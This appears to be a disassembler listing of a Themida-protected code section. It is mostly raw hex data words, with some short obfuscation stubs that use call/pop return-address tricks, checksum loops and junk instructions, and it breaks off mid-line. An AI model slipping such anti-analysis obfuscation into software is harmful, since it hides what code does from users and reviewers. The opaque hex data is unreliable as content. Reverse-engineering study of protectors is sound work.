0B5892864h dd 6121A19h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 9D8B5818h, 61218A5h, 1419BD83h, 0F000612h, 6484h, 1B8FBF00h dd 0B85AA7h, 0E9000000h, 6, 0EE111661h, 8D8D9D75h, 6124E4Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E4C35343h dd 3C1C6F2Dh, 0F14FBFEFh, 0E1FF5AF3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0A0C35242h, 0B6910CC1h, 11BD8303h dd 61200h, 4D3840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 65F965C3h, 11BD83h, 0F010612h dd 4C384h, 0D59D8B00h, 83061214h, 120011BDh, 860F0306h dd 47Ah, 13A5BD89h, 6A600612h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 1E8FC355h, 8E86EF4h dd 6D000000h, 7146120Dh, 0E92B69DBh, 13h, 311D1C5Eh, 0C8ECCB78h dd 50C17CFDh, 399FB2FAh, 5F60F7B5h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 6FF9C356h, 0F606828h, 0B589FBBFh, 612277Dh, 0C3816661h dd 0E180EAB5h, 5E804h, 0B04D0000h, 0E9BA1C6Dh, 7, 8EA4E512h dd 5FB5B76Fh, 840FC90Ah, 0FDh, 858BDE8Bh, 61224CDh, 118D8529h dd 85330612h, 612248Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 49C35646h, 0ADBED4F2h, 0B58919E3h, 612249Dh dd 18BB6650h, 24048938h, 400C98BFh, 6A006A14h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 64FEC353h, 8094C556h, 68860D99h, 7D93875h, 80BB6657h dd 34815B2Ah, 0C63B8A24h, 0E59D8B07h, 0FF061220h, 12303195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0A31633E7h, 8E923h, 73020000h, 656B5238h dd 8589F8F2h, 615BD0Ch, 8C19D8Bh, 0A3E90612h, 6A000002h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8B7FC357h, 0DA8B66D8h, 5E96053h, 0EE000000h dd 0AB183E06h, 61FAB70Fh, 4858B5Bh, 8B0615BDh, 1213E1BDh dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B714C356h, 4F72BB40h dd 0E98A4FA6h, 7, 0B4B24161h, 8B367B4Bh, 15BD08B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 3788A776h, 0A769BF87h, 99858B05h, 6A061223h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 87F2C356h, 0F90F530h, 682h, 598D8900h, 0E906120Ch, 0Ah dd 0D6691C6Ah, 0FA881487h, 6893CBAh, 19BD8529h, 858B0612h dd 61224CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0CCC35242h, 910F1B0Dh, 158DB7B7h, 10E85360h, 9D000000h dd 2EC638F7h, 936CEED6h, 0B2A13AAFh, 5838AC54h, 12E8535Ah dd 5D000000h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h dd 6158583Fh, 6A044689h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 6B3EC355h, 0DF894861h dd 8E8h, 0D6C5000h, 0D72E09BBh, 13E85Fh, 517F0000h, 29DB313Eh dd 0CA151033h, 7A47DBD7h, 0AF522E0h, 0E5BD8BC1h, 5F061227h dd 0D3BF505Fh, 895DDBC1h, 8D292434h, 612291Dh, 0BD04B5FFh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 5D8038C3h, 42DD68E6h, 12E8E152h, 19000000h dd 0FFA73326h, 409266E1h, 0E3F93BCCh, 8C1FB685h, 11E9A1h dd 12C0000h, 46B41F2Eh, 67B0C733h, 799AEA8Ah, 5F2DB6B3h dd 22240481h, 0E81ECCC1h, 0Dh, 0EB819151h, 0CCF69BB0h dd 9A49C411h, 5FD98BA6h, 0BD0C858Dh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 90F607C3h dd 9D295E21h, 6123251h, 0DE990h, 0D9E60000h, 9067661Ch dd 0D6D68688h, 5096FFE6h, 11830Fh, 0E8570000h, 9, 731960C0h dd 2BB9BA79h, 905B5F1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 46C35545h, 0FC61A8BCh, 303195FFh, 89600612h dd 1200C5BDh, 61F78B06h, 0F861F98Bh, 1185C7h, 30612h, 0BD0B0000h dd 6121581h, 7FDBD8Bh, 0BD830612h, 615BD0Ch, 47840F00h dd 0E9000000h, 13h, 0A1232AF3h, 0C0FFC0B9h, 0BB5A8405h dd 187931ACh, 0E933C9DCh, 45h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0CCC35040h, 84CBD04Fh, 0B928D6D0h dd 27018D31h, 30500612h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 31A1D210h, 121B15B5h dd 0A6DABB06h, 6A4829h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 8DECFEC3h, 15520AECh, 820F4614h dd 6, 26259D8Bh, 800F0612h, 6, 27DBD23h, 0BD830612h, 6120011h dd 0CA850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 5C9DC352h, 0CBD8312h dd 615BDh, 39F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 9EFAA4C3h, 0B4545A0Fh dd 8BCC6565h, 0CB5FFDEh, 660615BDh, 0DAB2EB81h, 202995FFh dd 9D8B0612h, 6121CF1h, 0BD00B58Bh, 12E90615h, 9B000000h dd 7BA9D0DDh, 2A467D8Ch, 4E014CF8h, 0E27EE82Bh, 106C769h dd 29000100h, 12336D95h, 0BB509606h, 2F95CD93h, 0BDBD0B96h dd 0FF06122Dh, 15BD0CB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 53CBAEF4h dd 8E9h, 325CBD00h, 0DD0B1593h, 95FF5FC0h, 6121AE1h, 0BD00B58Bh dd 0FF80615h, 68Ch, 598D8900h dd 8B061226h, 12303985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0BD8B4275h, 6122145h dd 0C48689h, 0D88B0000h, 264D9D8Bh, 958B0612h, 6122DCDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h dd 702AFCBh, 418EDED2h, 4FEBBB66h, 0CE960h, 183C0000h dd 0AEBF9649h, 0E2844D1Ch, 0B589AC67h, 612268Dh, 4C28361h dd 0C65BD03h, 50890612h, 51006A20h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 31DF0B9Fh, 6670348Ah dd 8B891FBFh, 1213919Dh, 0EA858D06h, 6A0615D0h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6051C352h, 460F580h, 7E26BF66h, 28459D8Bh, 86890612h dd 0B8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0F4C35747h, 0DABF6651h, 6A5F04h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 51C35343h, 16FCFB83h dd 0A044C486h, 1A959D33h, 0B5FF0612h, 615BD0Ch, 2CD595FFh dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 9D9627C3h, 0E00B3284h, 59BD8B8Dh, 8B061221h dd 1227959Dh, 77BF9606h, 5037D0FDh, 51006A96h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 43D987C1h dd 47A0DDABh, 0B5FFA9E9h, 615BD0Ch, 2995FFF9h, 6A06122Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0BF7CC356h, 3976AFFFh, 83F88B66h, 121189BDh dd 840F0006h, 21h, 0E950D88Bh, 10h, 6AA2567Bh, 26198D93h dd 0E1FFA733h, 0CC409266h, 8B243489h, 120445BDh, 0CB5FF06h dd 8B0615BDh, 1217ED9Dh, 0A595FF06h, 0FF06122Ah, 15BD0CB5h dd 0C820F06h, 0F000000h, 689h, 459D8900h, 0FF061224h, 121BB195h dd 45858906h, 83061221h, 122A41BDh, 840F0206h, 60h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C7C35242h, 0C08A452Eh dd 0CC1331E6h, 0A9858B1Ch, 6A061218h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 3E33C350h dd 0B7D5D523h, 0BD239F9Bh, 612043Dh, 890000C6h, 120EBDBDh dd 0DE8B6606h, 30185C7h, 612h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 1BE13AC3h dd 0BBFB2023h, 41BD8B2Fh, 8B06120Bh, 1229619Dh, 0F28AE906h dd 8A0FFFFFh, 6, 27898529h, 0C18B0612h, 1661BD8Bh, 858D0612h dd 6120065h, 50F98B66h, 0E14AD0BFh, 2404897Fh, 32B9BD29h dd 6A0612h, 32C59D8Bh, 6A0612h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 8C35545h, 0BAD0F86Eh, 8B2A115Ah dd 12215DBDh, 13858D06h, 660616C7h, 2348D381h, 8B05C083h dd 122C21BDh, 11E85006h, 0DA000000h, 85D9F132h, 4AEADA84h dd 4E443A78h, 454D8FF0h, 2404895Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0E2C35141h, 2B580D03h, 6E9006Ah dd 76000000h, 6F47F624h, 0B006AF6h, 12002D9Dh, 5595FF06h dd 0E906120Bh, 0Dh, 11463201h, 7483FFEh, 0F733F638h, 0CA8D8D7Eh dd 8906159Bh, 12322D95h, 6AD1FF06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 4B0FC355h dd 699C11D4h, 2A55BD8Bh, 9D8B0612h, 612008Dh, 0EE9BD83h dd 0F010612h, 5885h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B47413Ch, 0FB8B66DAh dd 0F5BF026Ah, 5075BB6Fh, 4897EB7h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D595FF11h dd 8906122Ch, 122929B5h, 0E49E906h, 0E80000h, 5D000000h dd 0C71DED81h, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 81090C3h, 0B70A6C77h, 13E9FCh, 6BED0000h dd 0D047E12Eh, 78B4A933h, 19A60174h, 0B54C2C09h, 8F858D2Ch dd 6A061596h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 2BF8C355h, 0C0B794E2h, 9E9788Dh dd 89000000h, 0CD1B9B43h, 0E290214Ah, 88BF6690h, 6A905098h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0B3BFC356h, 840F87BCh, 2, 0FF64D88Bh, 35h dd 0D58D8900h, 6406121Ch, 2589h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6EEBA7C3h dd 4B532F79h, 312D9EE8h, 1227918Dh, 7888BF06h, 85FF6C10h dd 6121235h, 12E9h, 49CD8800h, 335ACC31h, 0E759251Bh, 41FCBC5Ah dd 0BFF86B07h, 3BB5A226h, 9589FF6Ah, 61210E1h, 2D79B5FFh dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 6A08CDC3h, 8B666041h, 0E18589C8h, 61061230h dd 147595FFh, 30E90612h, 89000001h, 12213D95h, 6000B006h dd 5810Fh, 0BDB90000h, 89191F2Eh, 121B698Dh, 70E66106h dd 281D9D29h, 0BF0F0612h, 0E871E4FFh, 12h, 7F8CBD73h, 0FAD41E6Fh dd 0A4D0022Eh, 0A7C958CBh, 0F98A1FA5h, 0F613C5Bh, 0E683h dd 0FF88A00h, 9589C8B6h, 61210EDh, 6BAh, 48A0F00h, 66000000h dd 8B1F89BBh, 798589C1h, 0C1061225h, 0BD2904E8h, 6121725h dd 0C35B501h, 0F7660612h, 0FE9E2h, 6E90000h, 81BBC537h dd 8A5E14EDh, 72FB698Bh, 8BC82B8Fh, 21BD8BD1h, 0E9061223h dd 8Fh, 0DFCF8166h, 1858B06h, 1000000h, 12339985h, 7C08306h dd 12E952h, 0E3C0000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh dd 0F21B4A1Fh, 0C0835Fh, 10E8h, 745FC600h, 22EA62EEh, 82DA6C67h dd 6DD22492h, 19BD2336h, 5F061224h, 830FD03Bh, 0Bh, 36E9h dd 0F5958900h, 8B061233h, 0FFFFFF8Dh, 1E183FFh, 21840Fh dd 9D8B0000h, 612326Dh, 0FFFFA583h, 8BFEFFFFh, 122A0D9Dh dd 1958906h, 0F000000h, 0E9F8B7h, 8D000000h, 1645E8B5h dd 0EE906h, 0A69A0000h, 61F8D5ECh, 4169811Fh, 2A278FEAh dd 9ACB060h, 122CA58Dh, 6A6106h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 66C35646h, 3EDA0068h, 0FEBF0F84h dd 29D195FFh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0B9244FC3h, 9CB97CEDh, 8900000Fh dd 121B75BDh, 0FCE18306h, 2DE59D0Bh, 66FC0612h, 0B846E4BBh dd 0 ; --------------------------------------------------------------------------- mov [ebp+6122655h], ebx sub edx, edx push 0 push eax call sub_5C8517 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8517 proc near ; CODE XREF: Themida_:005C850Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5C8517 endp ; --------------------------------------------------------------------------- mov ebx, 0C8927E18h rol dword ptr [ebx-7A762175h], cl lodsd adc al, es:[esi] loc_5C8536: ; CODE XREF: Themida_:005C8540j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C8536 movzx ebx, ax push 0 push eax call sub_5C8550 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8550 proc near ; CODE XREF: Themida_:005C8548p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5C8550 endp ; --------------------------------------------------------------------------- dd 0AB6A6A63h, 667CE3BAh, 0C2ABC381h, 2A0DB509h, 880D0612h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0E11FC357h, 0B8F6FF06h, 2AE0D31h dd 0C890Fh, 800F0000h, 6, 8E0Fh, 958B0000h, 6122DCDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 39C35040h, 90A4B758h dd 61852952h, 5B061216h, 31BD8D8Bh, 0DA8B0612h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 47DE7DC3h dd 541A94C7h, 280D9D89h, 81660612h, 66487DEFh, 0BF51F88Bh dd 46AE4EC2h, 19BD835Bh, 61214h, 67840Fh, 1DBB0000h, 0B86655B5h dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5C864F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C864F proc near ; CODE XREF: Themida_:005C8647p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C864F endp ; --------------------------------------------------------------------------- db 79h dd 2EA8A3D5h, 81664840h, 0F4E87C3h, 178Ah, 0FE85300h, 0D0000000h dd 733332BCh, 25330CFBh, 299B5921h, 5B5BDFF3h, 429BD8Bh dd 8D8D0612h, 6124E4Bh, 8DB8166h, 8BE1FF85h, 122FEDBDh dd 11BD8306h, 61200h, 49A840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 96CCCC3h dd 14DB1F9h, 12114195h, 3800F06h, 66000000h, 0BD83FA8Bh dd 6120011h, 78840F01h, 2B000004h, 1210659Dh, 11BD8306h dd 3061200h, 42F860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 17A79BC3h, 0F779E638h dd 0F7816674h, 3604048h, 1221419Dh, 0D98C6606h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3AC35747h, 80D8BF0Fh dd 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 845523C3h, 0C90A5DAAh, 1A8840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0E3B157C3h, 0D6F3EA3Dh, 0B9958960h, 8B06121Bh, 121709B5h dd 81666106h, 8BC51AF7h, 1224CD85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D351FAB9h dd 13E9505Ah, 0B3000000h, 0E1C5E5FDh, 0AF8EE42Ch, 2BDFE50Fh dd 44DEE88Bh, 0BD897122h, 61233F5h, 248D8533h, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 860F90C3h, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+6120875h] nop mov ebx, 319EF698h push eax jmp loc_5C883F ; --------------------------------------------------------------------------- dw 0D2B0h dd 0E3EC9401h, 2D4CC4CEh, 0AE84C9A7h db 0DBh, 0ACh, 51h ; --------------------------------------------------------------------------- loc_5C883F: ; CODE XREF: Themida_:005C8829j nop add di, 0B4Bh push 0 push 0 push ebp call sub_5C8852 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8852 proc near ; CODE XREF: Themida_:005C884Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5C8852 endp ; --------------------------------------------------------------------------- dw 149Fh dd 4E8D600h, 0FF000000h, 60001F03h, 0E8F38B66h, 13h, 56411DECh dd 11825318h, 3ECFFC22h, 0C74B40A7h, 5059B4D8h, 5A310F52h dd 50615F58h, 448B6160h, 0DA8B0424h, 7E8008Bh, 4F000000h dd 1C7B9926h, 0D98B9288h, 2444895Fh, 870F5604h, 5, 0F0B04EBBh dd 66585B76h, 0FF6830BFh, 12303195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 4D3EB516h dd 95898D7Eh, 6122785h, 0BD0C8589h, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8166FDC3h dd 0E9F7F0C3h, 1D5h, 1AB18529h, 858B0612h, 615BD04h, 0FE8h dd 0DA3CF900h, 85D9F132h, 4AEADA84h, 4E443A78h, 0C99D8B57h dd 5F061226h, 1800C75Fh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 67C4C353h dd 0D98AD4AEh, 9DD7ECE8h, 0BD08B58Bh, 6A0615h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0DF91E7C3h, 0D4693A27h, 810FC42Fh, 6, 18099D8Bh, 4CBF0612h dd 8B666CBEh, 12239985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0BBF590Dh, 1A8A0FBFh dd 0E8000000h, 0Fh, 771B9590h, 0D9BFB729h, 2CD9968Bh, 66FD51FCh dd 1755CB81h, 1D9D8B5Bh, 89061217h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0CD858B9Eh dd 81061224h, 912841EFh, 446895Eh, 327DBD8Bh, 0BB960612h dd 20484662h, 64B4BB50h, 8B967D2Dh, 4B5FFFAh, 890615BDh dd 1212859Dh, 4E806h, 3FF0000h, 5250001Fh, 0DE9h, 0EEBABC00h dd 3E3F8488h, 23FD3917h, 310F0D62h, 10E9h, 0F83FEE00h dd 4B3878Bh, 6EC867CEh, 38179B8h, 50585A7Ah, 9E8h, 902C4D00h dd 4814C7C7h, 0E851C142h, 7, 2F17C4A7h, 5B3476E1h, 448B5B5Fh dd 0F98B0424h, 6660008Bh, 8961D88Bh, 60042444h, 13BA5B51h dd 61164569h, 0CD9D8B58h, 8B06121Fh, 0C858DDEh, 0F0615BDh dd 0BF50D8BFh, 370DDDA7h, 89240489h, 12236185h, 3195FF06h dd 0E9061230h, 0Bh, 0CC9857AFh, 0D50490F3h, 29ECC100h dd 122D55B5h, 810F6106h, 4, 677DBF66h, 1185C7h, 30612h dd 890F0000h, 6, 23D99D89h, 0BD830612h, 615BD0Ch, 0E840F00h dd 66000000h, 21E9D88Bh, 89000000h, 122121BDh, 0C305006h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CC35646h, 6DC96EBBh dd 8B2265DBh, 1231C1BDh, 11BD8306h, 3061200h, 456850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0BE162C3h, 121DF1BDh, 99BD8B06h, 8306121Bh dd 15BD0CBDh, 840F0006h, 420h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0ADC35646h, 40F4E831h, 993B2CDEh dd 0D88B6657h, 0CB5FF5Fh, 10615BDh, 12179DB5h, 2995FF06h dd 31061220h, 1212219Dh, 0B58B06h, 0F0615BDh, 6C7FBBFh dd 10001h, 1A69B501h, 66960612h, 5075C3BFh, 0DE8h, 42725400h dd 8AC75DD3h, 1649984Ah, 52505869h, 65CA5EBFh, 66310F3Bh dd 5AA6FCBBh, 6A965B58h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 1092C357h, 0E9C2979Ah dd 14h, 6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h dd 4EDFE28Ch, 0BD0CB5FFh, 0FE8B0615h, 1AE195FFh, 6A0612h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0E63F7CC3h, 0DF8166C6h, 0B58B2296h, 615BD00h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C5C35040h, 0B719DCC8h dd 0DE8BFEAFh, 3039858Bh, 8B660612h, 89CDB7FEh, 0C486h dd 5B58900h, 8B061231h, 122DCD95h, 6E906h, 93E90000h, 0ED73CD3Ah dd 17870Fh, 0FE80000h, 6D000000h, 0C13D989Eh, 960EEB07h dd 0AF98D0A6h, 616001E9h, 4C2835Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 4C35242h, 20A38DCDh, 0AE8h dd 0EEE97200h, 22F619BDh, 5B1CE73Bh, 158531h, 50890612h dd 29F86020h, 122A198Dh, 858D6106h, 615D0EAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9CC35242h, 61C232C5h dd 8EE85B81h, 0FABF0FEBh, 0B88689h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 3E4F9AC3h dd 8B669327h, 1006AFBh, 122611B5h, 0CB5FF06h, 660615BDh dd 95FFD88Bh, 6122CD5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 3C35141h, 89B32DA0h, 1228A18Dh, 0B5609606h dd 97BA664Bh, 8A50612Bh, 6A96DDh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 29F21CC3h, 1800FA4h dd 0F9000000h, 0BD0CB5FFh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 685E42C3h dd 68EFC268h, 0FCC19C3h, 686h, 0BD952900h, 0FF06121Ch dd 122E2995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 6591CD40h, 2E28B5B0h, 0BF0F1AC0h dd 89BD83DFh, 61211h, 36840Fh, 0B70F0000h, 0DDB796DBh dd 0CE950h, 14F10000h, 0F7D59542h, 0E7E39300h, 6A9681F4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 4DB0C356h, 0BD0CB5FFh, 0DB810615h, 5F1517B1h dd 2AA595FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 29B9CC3h, 0CB5FFBBh, 6A0615BDh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 3FD4C356h, 0CB93A8CEh, 95FFD3F9h, 6121BB1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ADC35040h dd 8BB3E298h, 1217499Dh, 41BD8306h, 206122Ah, 54840Fh dd 858B0000h, 61218A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 21C35343h, 7B00CFFEh, 1A69BD8Bh, 890F0612h dd 1, 0C6F5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 40C35141h, 85C77078h, 6120301h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5C8FF3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8FF3 proc near ; CODE XREF: Themida_:005C8FEBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5C8FF3 endp ; --------------------------------------------------------------------------- db 81h dd 9D8B2AA4h, 6120329h, 0FFF2F3E9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 8F2D8406h dd 4C8AF9A0h, 8BF8F9BBh, 8DF98AC1h, 12006585h, 998D2906h dd 50061215h, 48964B3h, 0DBBF0F24h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0CB7CFFC3h dd 30D942F0h, 0DE93357h, 3E000000h, 6F128CDAh, 770545CBh dd 8FC1F563h, 8589006Ah, 61217E1h, 0D737858Dh, 6A0616h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0FEE3DCC3h, 8B663119h, 5C083DFh, 2A658D89h, 50900612h dd 15840Fh, 10E90000h, 98000000h, 3ED2A770h, 0AE380F4Ch dd 95337C87h, 90D5B97Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0C7C35646h, 8B59B4D8h, 6A006AD9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 281FF282h, 0A5BD2BB8h, 8906120Ch, 1228D9B5h, 5595FF06h dd 6A06120Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 6FBAC355h, 0F6E41423h, 5C350607h dd 3810Fh, 0B70F0000h, 0DF8151D8h, 1280B399h, 0CA8D8D5Fh dd 6A06159Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 5D52C352h, 0FA7DDB0h, 0D1FFDBBFh dd 0FEBF0F50h, 0E9BD835Fh, 106120Eh, 67850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 6ACEDCC3h, 0C7816602h, 5090E69Eh, 205CE8BFh, 0EE9901Eh dd 93000000h, 0E033791Ah, 0FAB89965h, 6594684Ah, 0D595FF05h dd 6A06122Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 2933C355h, 12296DB5h, 0D9AE906h dd 0E80000h, 5D000000h, 0D741ED81h, 6A0616h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8DFC6BC3h dd 15968F85h, 2830F06h, 8B000000h, 0BB6650D9h, 489FE9Eh dd 0CB816624h, 0FF647032h, 35h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0A9BCFD88h dd 0A8F470AFh, 0CC4B45BFh, 890F5261h, 2, 645B6160h, 2589h dd 0BD8B0000h, 61213D5h, 123585FFh, 6A0612h, 3E851h, 59200000h dd 